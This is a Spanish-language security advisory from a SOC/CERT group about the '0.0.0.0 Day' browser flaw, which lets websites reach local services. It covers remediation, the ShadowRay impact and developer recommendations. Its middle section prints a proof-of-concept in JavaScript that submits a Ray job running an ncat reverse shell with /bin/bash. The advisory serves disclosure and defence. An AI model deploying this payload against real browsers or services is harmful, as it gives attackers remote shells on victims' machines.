Guatemala - El Salvador - Honduras - República Dominicana

Devel
CYBERSECURITY REDEFINED

CYBER SECURITY NEWS

SECURITY OPERATIONS CENTER

0.0.0.0 DAY: NAVEGADORES BAJO AMENAZA POR VULNERABILIDAD EN REDES LOCALES

08 / 08 / 2024

CONTENIDO

INTRODUCCIÓN

Un reciente descubrimiento ha puesto en alerta a la comunidad de ciberseguridad: la vulnerabilidad crítica "0.0.0.0 Day". Esta brecha de seguridad permite que sitios web maliciosos se comuniquen con servicios ejecutados en la red local de un usuario, explotando fallos en la forma en que los navegadores web manejan las solicitudes de red. Como consecuencia, atacantes externos podrían obtener acceso no autorizado y ejecutar código en servicios locales, poniendo en riesgo la seguridad de individuos y organizaciones. Este hallazgo resalta la necesidad urgente de mejorar las medidas de seguridad en los navegadores y de estandarizar las protecciones contra este tipo de amenazas.

0.0.0.0DAY: NAVEGAD ORES BAJO AMENAZA POR VULNERABILIDAD EN REDES LOCALES

A continuación, se encuentra en cuadro de identificación de la amenaza.

ID de alerta:	DSOC-CERT_2024_08_08_1
Clasificación de alerta:	Noticia
Tipo de Impacto:	Alta
TLP (Clasificación de información):	**CLEAR**
Fecha de publicación:	08/008/2024
Es día cero (0 day):	Sí

RESUMEN

Una reciente investigación se ha revelado una vulnerabilidad crítica que afecta a todos los navegadores web principales, lo que permite a los atacantes externos comprometer redes locales. Esta vulnerabilidad, denominada “0.0.0.0 Day”, expone una falla fundamental en la forma en que los navegadores manejan las solicitudes de red, potencialmente otorgando a actores malintencionados acceso a servicios sensibles que se ejecutan en dispositivos locales. Esta vulnerabilidad afecta los principales navegadores web, incluidos Chromium, Firefox y Safari, permitiendo que sitios web externos se comuniquen con software que se ejecuta localmente en MacOS y Linux. Windows, por el momento, no está afectado por esta vulnerabilidad.

La vulnerabilidad permite que sitios web públicos, como aquellos con dominios terminados en .com, se comuniquen con servicios que se ejecutan en la red local (localhost) y potencialmente ejecuten código arbitrario en el host del visitante, utilizando la dirección 0.0.0.0 en lugar de localhost o 127.0.0.1.

```
const cmdline = "ncat -vvvv -e /bin/bash ports.sh 63191";

// FIRST - EXECUTE GET REQUEST
console.log("Starting fetch GET");
fetch('http://0.0.0.0:8265/api/jobs/', { mode: 'no-cors'})
  .then((blob) => {
    console.log(blob);
    const txt = blob.text();
    console.log(txt);
    console.log("Starting fetch POST");

    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://0.0.0.0:8265/api/jobs/', true);
    xhr.onreadystatechange = function() {
      if (xhr.readyState === XMLHttpRequest.DONE) {
        if (xhr.status === 200) {
          console.log('Success:', xhr.responseText);
        } else {
          console.error('Error:', xhr.status);
        }
      }
    };
    xhr.send(JSON.stringify({
      entrypoint: cmdline,
      runtime_env: {},
      job_id: null,
      metadata: { job_submission_id: 'test-localhost-from-browser' }
    }));
    console.log('EXPLOITED!:', xhr.responseText);

  }).catch(()=>{
alert("Ray is not running.");
});
</script>
```

Este es un código de ejemplo del exploit

Estado de la Remediación

Tras la divulgación responsable de esta vulnerabilidad en abril de 2024, los principales navegadores han comenzado a implementar medidas para bloquear las solicitudes HTTP a la dirección 0.0.0.0. Google Chrome, por ejemplo, ha iniciado un despliegue gradual para bloquear el acceso a esta IP en sus futuras versiones de Chromium. Apple también ha realizado cambios en WebKit, la base de su navegador Safari,

para bloquear las solicitudes a 0.0.0.0. Sin embargo, Mozilla Firefox aún no ha implementado una solución inmediata, aunque está trabajando en bloquear esta dirección en el futuro.

Impacto y Riesgos

La vulnerabilidad "0.0.0.0 Day" afecta tanto a individuos como a organizaciones, ya que permite a los atacantes externos acceder a servicios locales vulnerables y ejecutar código de manera remota. Campañas de explotación activas, como "ShadowRay", han demostrado cómo esta vulnerabilidad puede ser utilizada para comprometer clústeres de Ray, un marco de inteligencia artificial, y otros servicios locales.

Conclusión y Recomendaciones

Hasta que los navegadores implementen una solución completa, se recomienda a los desarrolladores tomar medidas proactivas para proteger sus aplicaciones locales:

Implementar encabezados PNA (Private Network Access).

- Verificar el encabezado HOST de las solicitudes para protegerse contra ataques de DNS rebinding.
- No confiar ciegamente en la red localhost; implementar una capa mínima de autorización, incluso en entornos locales.
- Usar HTTPS siempre que sea posible.
- Implementar tokens CSRF en aplicaciones locales.

La vulnerabilidad "0.0.0.0 Day" es un recordatorio crítico de la necesidad de estandarizar las medidas de seguridad en los navegadores web y fortalecer la seguridad de las aplicaciones locales, evitando que los navegadores sean utilizados como vectores de ataque.

NOTICIA COMPLETA

https://devel.group/blog/0-0-0-0day-navegad-ores-bajo-amenaza-por-vulnerabilidad-en-redes-locales/

CONTACTOS DE SOPORTE

Correo electrónico: cert@develsecurity.com

Teléfonos directos:

Guatemala: +(502) 2307 5757

El Salvador: +(503) 2249 4252

Honduras: +(504) 2283 5904

República Dominicana: +1 829 734 2040

WhatsApp: +(502) 5124 9536

Sitio Web: https://www.devel.group/reporta-un-incidente